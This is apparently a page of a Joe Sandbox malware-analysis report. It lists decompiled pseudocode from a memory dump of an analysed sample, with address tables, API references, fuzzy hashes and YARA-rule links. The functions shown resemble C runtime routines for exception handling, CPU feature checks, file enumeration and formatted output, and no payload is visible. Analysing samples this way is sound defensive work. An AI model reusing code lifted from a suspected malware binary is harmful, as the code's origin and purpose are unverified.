								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t241;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t241 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t241;
							}
							E001B8657(_t255);
							RaiseException(_t263, 0, 1,  &_a4);
							_t257 = _a4;
							_t193 = _t257[2];
							if((_t193 & 0x00000010) != 0) {
								 *_t266 =  *_t266 & 0xfffffffe;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000008) != 0) {
								 *_t266 =  *_t266 & 0xfffffffb;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000004) != 0) {
								 *_t266 =  *_t266 & 0xfffffff7;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000002) != 0) {
								 *_t266 =  *_t266 & 0xffffffef;
								_t193 = _t257[2];
							}
							if((_t193 & 0x00000001) != 0) {
								 *_t266 =  *_t266 & 0xffffffdf;
							}
							_t196 =  *_t257 & 0x00000003;
							if(_t196 == 0) {
								 *_t266 =  *_t266 & 0xfffff3ff;
							} else {
								_t207 = _t196 - 1;
								if(_t207 == 0) {
									_t210 =  *_t266 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t266 = _t210;
									L58:
									_t200 =  *_t257 >> 0x00000002 & 0x00000007;
									if(_t200 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t266 = _t203;
										L65:
										if(_a28 == 0) {
											 *_t241 = _t257[0x14];
										} else {
											 *_t241 = _t257[0x14];
										}
										return _t203;
									}
									_t204 = _t200 - 1;
									if(_t204 == 0) {
										_t203 =  *_t266 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t203 = _t204 - 1;
									if(_t203 == 0) {
										 *_t266 =  *_t266 & 0xfffff3ff;
									}
									goto L65;
								}
								_t211 = _t207 - 1;
								if(_t211 == 0) {
									_t210 =  *_t266 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t211 == 1) {
									 *_t266 =  *_t266 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t251 = _a4;
							_t178 =  *_t251 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t258 = _a4;
						_t226 =  *_t258 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x001b80c3
0x001b80ca
0x001b80cf
0x001b80d5
0x001b80d8
0x001b80de
0x001b80e3
0x001b80e8
0x001b80e8
0x001b80ee
0x001b80f3
0x001b80f8
0x001b80f8
0x001b80ff
0x001b8104
0x001b8109
0x001b8109
0x001b8110
0x001b8115
0x001b811a
0x001b811a
0x001b8121
0x001b8126
0x001b812b
0x001b812b
0x001b8133
0x001b8143
0x001b8155
0x001b8167
0x001b817a
0x001b818c
0x001b8194
0x001b8199
0x001b819e
0x001b819e
0x001b81a5
0x001b81aa
0x001b81aa
0x001b81b1
0x001b81b6
0x001b81b6
0x001b81bd
0x001b81c2
0x001b81c2
0x001b81c9
0x001b81ce
0x001b81ce
0x001b81d8
0x001b81da
0x001b8214
0x001b81dc
0x001b81e1
0x001b8205
0x001b820d
0x001b8201
0x001b8201
0x001b8217
0x001b821e
0x001b8220
0x001b8242
0x001b824a
0x001b824d
0x001b824d
0x001b824f
0x001b824f
0x001b825a
0x001b8260
0x001b8265
0x001b826c
0x001b82a6
0x001b82b1
0x001b82b7
0x001b82ba
0x001b82bd
0x001b82c9
0x001b82d1
0x001b826e
0x001b8271
0x001b827d
0x001b8283
0x001b8289
0x001b828c
0x001b8295
0x001b8295
0x001b82d4
0x001b82e2
0x001b82e8
0x001b82eb
0x001b82f0
0x001b82f2
0x001b82f5
0x001b82f5
0x001b82fa
0x001b82fc
0x001b82ff
0x001b82ff
0x001b8304
0x001b8306
0x001b8309
0x001b8309
0x001b830e
0x001b8310
0x001b8313
0x001b8313
0x001b8318
0x001b831a
0x001b831a
0x001b8327
0x001b832a
0x001b8361
0x001b832c
0x001b832c
0x001b832f
0x001b835a
0x001b834f
0x001b834f
0x001b8363
0x001b836b
0x001b836e
0x001b838d
0x001b8392
0x001b8392
0x001b8394
0x001b8399
0x001b83a5
0x001b839b
0x001b839e
0x001b839e
0x001b83aa
0x001b83aa
0x001b8370
0x001b8373
0x001b8382
0x00000000
0x001b8382
0x001b8375
0x001b8378
0x001b837a
0x001b837a
0x00000000
0x001b8378
0x001b8331
0x001b8334
0x001b834a
0x00000000
0x001b834a
0x001b8339
0x001b833b
0x001b833b
0x001b8339
0x00000000
0x001b832a
0x001b8227
0x001b8235
0x001b823d
0x00000000
0x001b823d
0x001b822b
0x001b8230
0x001b8230
0x00000000
0x001b822b
0x001b81e8
0x001b81f6
0x001b81fe
0x00000000
0x001b81fe
0x001b81ec
0x001b81f1
0x001b81f1
0x001b81ec

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,001B80B0,?,?,00000008,?,?,001C4597,00000000), ref: 001B82E2

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 7a9434349c240e49859974f5e98352435f97eba6c5c5b6f308bfb12ab9d105c8
Instruction ID: cde5eacfcd0060c9292fc4ed64dd1114ef53c09e27f567cd2657a3648d8a741e
Opcode Fuzzy Hash: 7a9434349c240e49859974f5e98352435f97eba6c5c5b6f308bfb12ab9d105c8
Instruction Fuzzy Hash: 92B15D31610608CFD718CF2CC486BA57BE5FF45764F298698E99ACF2A1C735E982CB40

Uniqueness

Uniqueness Score: -1.00%

Function 001A9B4C Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E001A9B4C(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t99;
				signed int _t104;

				_t90 = __edx;
				 *0x202a9c =  *0x202a9c & 0x00000000;
				 *0x1d5020 =  *0x1d5020 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v8 = _v28 ^ 0x49656e69;
				_v12 = _v32 ^ 0x6c65746e;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v12 | _v36 ^ 0x756e6547) != 0) {
					L9:
					_t96 =  *0x202aa0; // 0x2
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0x202aa0 = _t96 | 0x00000002;
						}
					}
					_t61 =  *0x1d5020; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0x202a9c = 1;
					 *0x1d5020 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0x202a9c = 2;
						 *0x1d5020 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0x1d5020; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0x202a9c = 3;
								 *0x1d5020 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0x202a9c = 5;
									 *0x1d5020 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0x1d5020 =  *0x1d5020 | 0x00000040;
										 *0x202a9c = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t99 =  *0x202aa0; // 0x2
					_t96 = _t99 | 0x00000001;
					 *0x202aa0 = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x001a9b4c
0x001a9b4f
0x001a9b59
0x001a9b6a
0x001a9d1c
0x001a9d1f
0x001a9d1f
0x001a9b70
0x001a9b76
0x001a9b7b
0x001a9b7f
0x001a9b83
0x001a9b85
0x001a9b87
0x001a9b8a
0x001a9b8f
0x001a9b98
0x001a9ba9
0x001a9bb4
0x001a9bba
0x001a9bbb
0x001a9bc1
0x001a9bc4
0x001a9bce
0x001a9bd1
0x001a9bd4
0x001a9bd7
0x001a9c1c
0x001a9c1c
0x001a9c22
0x001a9c22
0x001a9c27
0x001a9c28
0x001a9c2e
0x001a9c60
0x001a9c30
0x001a9c32
0x001a9c33
0x001a9c39
0x001a9c3c
0x001a9c3e
0x001a9c41
0x001a9c44
0x001a9c47
0x001a9c4a
0x001a9c53
0x001a9c58
0x001a9c58
0x001a9c53
0x001a9c63
0x001a9c68
0x001a9c6b
0x001a9c75
0x001a9c80
0x001a9c86
0x001a9c89
0x001a9c93
0x001a9c9e
0x001a9caa
0x001a9cad
0x001a9cb0
0x001a9cbb
0x001a9cc0
0x001a9cc2
0x001a9cc7
0x001a9cca
0x001a9cd4
0x001a9cdc
0x001a9ce1
0x001a9ceb
0x001a9cf9
0x001a9d0c
0x001a9d13
0x001a9d13
0x001a9cf9
0x001a9cdc
0x001a9cc0
0x001a9c9e
0x00000000
0x001a9d1b
0x001a9bdc
0x001a9be6
0x001a9c0b
0x001a9c11
0x001a9c14
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 001A9B62

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: e5ced0aaf6a8744add72c6bfefec8e50c78d8244647314e56986817c58e13a35
Instruction ID: b2c764097ea0c9f7071a6ef2427dfb2552b015947b6c9e3654ad0ae0a01f7c8d
Opcode Fuzzy Hash: e5ced0aaf6a8744add72c6bfefec8e50c78d8244647314e56986817c58e13a35
Instruction Fuzzy Hash: 9551A0B6E01B05CFEB24CF59E8857AABBF1FB49324F24806AD405EB255D3749980CF90

Uniqueness

Uniqueness Score: -1.00%

Function 001BE3A0 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E001BE3A0(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _v48;
				struct _WIN32_FIND_DATAW _v604;
				char _v605;
				void* _v612;
				signed int _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				signed int _v628;
				union _FINDEX_INFO_LEVELS _v632;
				char _v636;
				signed int _v640;
				union _FINDEX_INFO_LEVELS _v644;
				union _FINDEX_INFO_LEVELS _v648;
				signed int _v652;
				union _FINDEX_INFO_LEVELS _v656;
				char _v660;
				signed int _v664;
				signed int _v668;
				signed int _v672;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t72;
				signed int _t77;
				signed int _t79;
				char _t81;
				signed char _t82;
				signed int _t88;
				signed int _t94;
				signed int _t100;
				signed int _t103;
				signed int _t104;
				signed int _t106;
				intOrPtr* _t112;
				signed int _t115;
				intOrPtr _t125;
				signed int _t127;
				signed int _t130;
				signed int _t132;
				void* _t135;
				void* _t137;
				intOrPtr _t139;
				intOrPtr* _t142;
				signed int _t144;
				void* _t146;
				intOrPtr* _t147;
				signed int _t156;
				void* _t164;
				signed int _t167;
				intOrPtr _t169;
				void* _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				signed int _t176;
				signed int _t177;
				signed int _t180;
				void* _t181;
				signed int _t182;
				void* _t183;
				void* _t184;

				_push(__ecx);
				_t142 = _a4;
				_t2 = _t142 + 1; // 0x1
				_t164 = _t2;
				do {
					_t72 =  *_t142;
					_t142 = _t142 + 1;
				} while (_t72 != 0);
				_t167 = _a12;
				_t144 = _t142 - _t164 + 1;
				_v8 = _t144;
				if(_t144 <=  !_t167) {
					_t5 = _t167 + 1; // 0x1
					_t135 = _t5 + _t144;
					_t174 = E001B6392(_t135, 1);
					_t146 = _t173;
					__eflags = _t167;
					if(_t167 == 0) {
						L7:
						_push(_v8);
						_t135 = _t135 - _t167;
						_t77 = E001C3D34(_t146, _t174 + _t167, _t135, _a4);
						_t182 = _t181 + 0x10;
						__eflags = _t77;
						if(_t77 != 0) {
							goto L12;
						} else {
							_t139 = _a16;
							_t127 = E001BE73B(_t139);
							_v8 = _t127;
							__eflags = _t127;
							if(_t127 == 0) {
								 *( *(_t139 + 4)) = _t174;
								_t177 = 0;
								_t14 = _t139 + 4;
								 *_t14 =  *(_t139 + 4) + 4;
								__eflags =  *_t14;
							} else {
								E001B63EF(_t174);
								_t177 = _v8;
							}
							E001B63EF(0);
							_t130 = _t177;
							goto L4;
						}
					} else {
						_push(_t167);
						_t132 = E001C3D34(_t146, _t174, _t135, _a8);
						_t182 = _t181 + 0x10;
						__eflags = _t132;
						if(_t132 != 0) {
							L12:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E001AFE70();
							asm("int3");
							_t180 = _t182;
							_t183 = _t182 - 0x298;
							_t79 =  *0x1d5010; // 0x8121a627
							_v48 = _t79 ^ _t180;
							_t147 = _v32;
							_t165 = _v28;
							_push(_t135);
							_push(0);
							_t169 = _v36;
							_v648 = _t165;
							__eflags = _t147 - _t169;
							if(_t147 != _t169) {
								while(1) {
									_t125 =  *_t147;
									__eflags = _t125 - 0x2f;
									if(_t125 == 0x2f) {
										break;
									}
									__eflags = _t125 - 0x5c;
									if(_t125 != 0x5c) {
										__eflags = _t125 - 0x3a;
										if(_t125 != 0x3a) {
											_t147 = E001C4C00(_t169, _t147);
											__eflags = _t147 - _t169;
											if(_t147 != _t169) {
												continue;
											}
										}
									}
									break;
								}
								_t165 = _v612;
							}
							_t81 =  *_t147;
							_v605 = _t81;
							__eflags = _t81 - 0x3a;
							if(_t81 != 0x3a) {
								L23:
								__eflags = _t81 - 0x2f;
								if(__eflags == 0) {
									L26:
									_t82 = 1;
								} else {
									__eflags = _t81 - 0x5c;
									if(__eflags == 0) {
										goto L26;
									} else {
										__eflags = _t81 - 0x3a;
										_t82 = 0;
										if(__eflags == 0) {
											goto L26;
										}
									}
								}
								_v660 = 0;
								_v656 = 0;
								_push(_t174);
								asm("sbb eax, eax");
								_v652 = 0;
								_v648 = 0;
								_v664 =  ~(_t82 & 0x000000ff) & _t147 - _t169 + 0x00000001;
								_v644 = 0;
								_v640 = 0;
								_t88 = E001B325F(_t147 - _t169 + 1, _t169,  &_v660, E001BDFAA(__eflags));
								_t184 = _t183 + 0xc;
								asm("sbb eax, eax");
								_t175 = FindFirstFileExW( !( ~_t88) & _v652, 0,  &_v604, 0, 0, 0);
								__eflags = _t175 - 0xffffffff;
								if(_t175 != 0xffffffff) {
									_t151 = _v612;
									_t94 =  *((intOrPtr*)(_v612 + 4)) -  *_v612;
									__eflags = _t94;
									_v668 = _t94 >> 2;
									do {
										_v636 = 0;
										_v632 = 0;
										_v628 = 0;
										_v624 = 0;
										_v620 = 0;
										_v616 = 0;
										_t100 = E001BE15D( &(_v604.cFileName),  &_v636,  &_v605, E001BDFAA(__eflags));
										_t184 = _t184 + 0x10;
										asm("sbb eax, eax");
										_t103 =  !( ~_t100) & _v628;
										__eflags =  *_t103 - 0x2e;
										if( *_t103 != 0x2e) {
											L36:
											_push(_v612);
											_t104 = E001BE3A0(_t151, _t103, _t169, _v664);
											_t184 = _t184 + 0x10;
											_v672 = _t104;
											__eflags = _t104;
											if(_t104 != 0) {
												__eflags = _v616;
												if(_v616 != 0) {
													E001B63EF(_v628);
												}
												FindClose(_t175);
												__eflags = _v640;
												if(_v640 != 0) {
													E001B63EF(_v652);
												}
												_t106 = _v672;
											} else {
												goto L37;
											}
										} else {
											_t151 =  *((intOrPtr*)(_t103 + 1));
											__eflags = _t151;
											if(_t151 == 0) {
												goto L37;
											} else {
												__eflags = _t151 - 0x2e;
												if(_t151 != 0x2e) {
													goto L36;
												} else {
													__eflags =  *(_t103 + 2);
													if( *(_t103 + 2) == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L50;
										L37:
										__eflags = _v616;
										if(_v616 != 0) {
											E001B63EF(_v628);
											_pop(_t151);
										}
										__eflags = FindNextFileW(_t175,  &_v604);
									} while (__eflags != 0);
									_t112 = _v612;
									_t156 = _v668;
									_t165 =  *_t112;
									_t115 =  *((intOrPtr*)(_t112 + 4)) -  *_t112 >> 2;
									__eflags = _t156 - _t115;
									if(_t156 != _t115) {
										__eflags = _t115 - _t156;
										E001C46D0(_t165, _t165 + _t156 * 4, _t115 - _t156, 4, E001BE145);
									}
									FindClose(_t175);
									__eflags = _v640;
									if(_v640 != 0) {
										E001B63EF(_v652);
									}
									_t106 = 0;
								} else {
									_push(_v612);
									_t176 = E001BE3A0( &_v604, _t169, 0, 0);
									__eflags = _v640;
									if(_v640 != 0) {
										E001B63EF(_v652);
									}
									_t106 = _t176;
								}
								L50:
								_pop(_t174);
							} else {
								__eflags = _t147 - _t169 + 1;
								if(_t147 == _t169 + 1) {
									_t81 = _v605;
									goto L23;
								} else {
									_push(_t165);
									_t106 = E001BE3A0(_t147, _t169, 0, 0);
								}
							}
							_pop(_t170);
							__eflags = _v12 ^ _t180;
							_pop(_t137);
							return E001A9545(_t106, _t137, _v12 ^ _t180, _t165, _t170, _t174);
						} else {
							goto L7;
						}
					}
				} else {
					_t130 = 0xc;
					L4:
					return _t130;
				}
			}

0x001be3a5
0x001be3a6
0x001be3a9
0x001be3a9
0x001be3ac
0x001be3ac
0x001be3ae
0x001be3af
0x001be3b4
0x001be3bb
0x001be3be
0x001be3c3
0x001be3cd
0x001be3d0
0x001be3da
0x001be3dd
0x001be3de
0x001be3e0
0x001be3f4
0x001be3f4
0x001be3f7
0x001be401
0x001be406
0x001be409
0x001be40b
0x00000000
0x001be40d
0x001be40d
0x001be412
0x001be419
0x001be41c
0x001be41e
0x001be42f
0x001be431
0x001be433
0x001be433
0x001be433
0x001be420
0x001be421
0x001be426
0x001be429
0x001be438
0x001be43e
0x00000000
0x001be441
0x001be3e2
0x001be3e2
0x001be3e8
0x001be3ed
0x001be3f0
0x001be3f2
0x001be444
0x001be446
0x001be447
0x001be448
0x001be449
0x001be44a
0x001be44b
0x001be450
0x001be454
0x001be456
0x001be45c
0x001be463
0x001be466
0x001be469
0x001be46c
0x001be46d
0x001be46e
0x001be471
0x001be477
0x001be479
0x001be47b
0x001be47b
0x001be47d
0x001be47f
0x00000000
0x00000000
0x001be481
0x001be483
0x001be485
0x001be487
0x001be492
0x001be494
0x001be496
0x00000000
0x00000000
0x001be496
0x001be487
0x00000000
0x001be483
0x001be498
0x001be498
0x001be49e
0x001be4a0
0x001be4a6
0x001be4a8
0x001be4ca
0x001be4cc
0x001be4ce
0x001be4da
0x001be4da
0x001be4d0
0x001be4d0
0x001be4d2
0x00000000
0x001be4d4
0x001be4d4
0x001be4d6
0x001be4d8
0x00000000
0x00000000
0x001be4d8
0x001be4d2
0x001be4e2
0x001be4ea
0x001be4f0
0x001be4f1
0x001be4f3
0x001be4fb
0x001be501
0x001be507
0x001be50d
0x001be521
0x001be526
0x001be531
0x001be547
0x001be549
0x001be54c
0x001be57c
0x001be585
0x001be585
0x001be58a
0x001be590
0x001be590
0x001be596
0x001be59c
0x001be5a2
0x001be5a8
0x001be5ae
0x001be5cf
0x001be5d4
0x001be5d9
0x001be5dd
0x001be5e3
0x001be5e6
0x001be5f9
0x001be5f9
0x001be607
0x001be60c
0x001be60f
0x001be615
0x001be617
0x001be692
0x001be698
0x001be6a0
0x001be6a5
0x001be6a7
0x001be6ad
0x001be6b3
0x001be6bb
0x001be6c0
0x001be6c1
0x00000000
0x00000000
0x00000000
0x001be5e8
0x001be5e8
0x001be5eb
0x001be5ed
0x00000000
0x001be5ef
0x001be5ef
0x001be5f2
0x00000000
0x001be5f4
0x001be5f4
0x001be5f7
0x00000000
0x00000000
0x00000000
0x00000000
0x001be5f7
0x001be5f2
0x001be5ed
0x00000000
0x001be619
0x001be619
0x001be61f
0x001be627
0x001be62c
0x001be62c
0x001be63b
0x001be63b
0x001be643
0x001be649
0x001be64f
0x001be656
0x001be659
0x001be65b
0x001be662
0x001be66b
0x001be670
0x001be674
0x001be67a
0x001be680
0x001be688
0x001be68d
0x001be68e
0x001be54e
0x001be54e
0x001be55f
0x001be561
0x001be567
0x001be56f
0x001be574
0x001be575
0x001be575
0x001be6c7
0x001be6c7
0x001be4aa
0x001be4ad
0x001be4af
0x001be4c4
0x00000000
0x001be4b1
0x001be4b1
0x001be4b7
0x001be4bc
0x001be4af
0x001be6cb
0x001be6cc
0x001be6ce
0x001be6d5
0x00000000
0x00000000
0x00000000
0x001be3f2
0x001be3c5
0x001be3c7
0x001be3c8
0x001be3ca
0x001be3ca

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1b928c04f3eaa701609f77471d0e7b443e0387924ce326245d20489f6d0b744
Instruction ID: 729fbd937f7553ffe03015dd3296aee3c106c714c391e5c9b4268e7e009b80a2
Opcode Fuzzy Hash: d1b928c04f3eaa701609f77471d0e7b443e0387924ce326245d20489f6d0b744
Instruction Fuzzy Hash: 3241BFB5804219AFCB20DF69CC89AEABBF9AF55300F1442DDE41DD3211EB359E858F50

Uniqueness

Uniqueness Score: -1.00%

Function 001AF192 Relevance: 1.6, Strings: 1, Instructions: 344
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E001AF192(signed int __ecx, signed int __edx, void* __edi) {
				signed int _v8;
				char _v16;
				signed int _v18;
				signed int _v20;
				signed int _v24;
				signed int* _v28;
				signed int _v32;
				signed int _v36;
				void* __ebx;
				void* __esi;
				signed int _t115;
				char _t117;
				signed int _t118;
				void* _t119;
				signed int _t120;
				signed char _t123;
				signed int _t127;
				signed char _t132;
				signed char _t135;
				signed int* _t141;
				signed int _t145;
				signed int _t149;
				signed int _t150;
				signed int* _t156;
				signed int _t158;
				signed int _t159;
				signed int* _t160;
				signed int* _t166;
				signed char _t169;
				signed char _t171;
				signed int _t173;
				signed int _t175;
				signed int _t176;
				signed int _t179;
				signed int _t180;
				signed int* _t181;
				void* _t183;
				signed int _t187;
				unsigned int _t190;
				signed int _t192;
				signed int** _t193;
				signed short* _t194;
				signed char _t197;
				signed int _t198;
				signed int _t199;
				intOrPtr _t211;
				signed int _t214;
				void* _t215;
				signed int* _t216;
				signed int _t217;
				signed int _t218;
				signed int** _t219;
				signed int _t220;
				void* _t221;
				void* _t222;
				void* _t223;

				_t215 = __edi;
				_t208 = __edx;
				_t115 =  *0x1d5010; // 0x8121a627
				_v8 = _t115 ^ _t220;
				_t218 = __ecx;
				_t179 = 0;
				_v32 = __ecx;
				_t183 = 0x58;
				_t117 =  *((char*)(__ecx + 0x2d));
				_t222 = _t117 - 0x64;
				if(_t222 > 0) {
					__eflags = _t117 - 0x70;
					if(__eflags > 0) {
						_t118 = _t117 - 0x73;
						__eflags = _t118;
						if(_t118 == 0) {
							L9:
							_t119 = E001AF8A4(_t218);
							L10:
							if(_t119 != 0) {
								__eflags =  *((intOrPtr*)(_t218 + 0x2c)) - _t179;
								if( *((intOrPtr*)(_t218 + 0x2c)) != _t179) {
									L104:
									_t120 = 1;
									L105:
									return E001A9545(_t120, _t179, _v8 ^ _t220, _t208, _t215, _t218);
								}
								_t123 =  *(_t218 + 0x1c) >> 4;
								_v20 = _t179;
								_t187 = _t179;
								_v18 = _t179;
								_v28 = _t187;
								__eflags = 1 & _t123;
								if((1 & _t123) == 0) {
									L44:
									_t211 =  *((intOrPtr*)(_t218 + 0x2d));
									__eflags = _t211 - 0x78;
									if(_t211 == 0x78) {
										L46:
										__eflags = 1;
										if(1 != 0) {
											L48:
											__eflags = _t211 - 0x61;
											if(_t211 == 0x61) {
												L50:
												_t127 = 1;
												L51:
												__eflags = _t127;
												if(_t127 != 0) {
													L53:
													 *((char*)(_t220 + _t187 - 0x10)) = 0x30;
													__eflags = _t211 - 0x58;
													if(_t211 == 0x58) {
														L56:
														0x78 = 0x58;
														L57:
														 *((char*)(_t220 + _t187 - 0xf)) = 0x78;
														_t187 = _t187 + 2;
														__eflags = _t187;
														_v28 = _t187;
														L58:
														_t208 =  *((intOrPtr*)(_t218 + 0x20)) -  *((intOrPtr*)(_t218 + 0x34)) - _t187;
														__eflags =  *(_t218 + 0x1c) & 0x0000000c;
														_push(_t215);
														_v36 = _t208;
														if(( *(_t218 + 0x1c) & 0x0000000c) != 0) {
															L70:
															_push( *((intOrPtr*)(_t218 + 8)));
															_t216 = _t218 + 0x14;
															_v28 = _t218 + 0x448;
															E001AFA17(_t218 + 0x448,  &_v20, _t187, _t216);
															_t190 =  *(_t218 + 0x1c);
															_t132 = _t190 >> 3;
															__eflags = _t132 & 0x00000001;
															if((_t132 & 0x00000001) == 0) {
																L83:
																__eflags =  *((char*)(_t218 + 0x38));
																if( *((char*)(_t218 + 0x38)) == 0) {
																	L91:
																	_push( *((intOrPtr*)(_t218 + 8)));
																	E001AFA17(_t218 + 0x448,  *(_t218 + 0x30),  *((intOrPtr*)(_t218 + 0x34)), _t216);
																	L92:
																	_t192 =  *_t216;
																	__eflags = _t192;
																	if(_t192 < 0) {
																		L103:
																		_pop(_t215);
																		goto L104;
																	}
																	_t135 =  *(_t218 + 0x1c) >> 2;
																	__eflags = _t135 & 0x00000001;
																	if((_t135 & 0x00000001) == 0) {
																		goto L103;
																	}
																	_t218 = _v36;
																	__eflags = _t218;
																	if(_t218 <= 0) {
																		goto L103;
																	} else {
																		goto L95;
																	}
																	while(1) {
																		L95:
																		_t208 =  *_v28;
																		__eflags =  *((intOrPtr*)(_t208 + 8)) -  *((intOrPtr*)(_t208 + 4));
																		if( *((intOrPtr*)(_t208 + 8)) !=  *((intOrPtr*)(_t208 + 4))) {
																			_t193 = _v28;
																			 *_t216 = _t192 + 1;
																			 *((intOrPtr*)(_t208 + 8)) =  *((intOrPtr*)(_t208 + 8)) + 1;
																			 *( *( *_t193)) = 0x20;
																			_t141 =  *_t193;
																			 *_t141 =  *_t141 + 1;
																			__eflags =  *_t141;
																			_t192 =  *_t216;
																		} else {
																			__eflags =  *((char*)(_t208 + 0xc));
																			if( *((char*)(_t208 + 0xc)) == 0) {
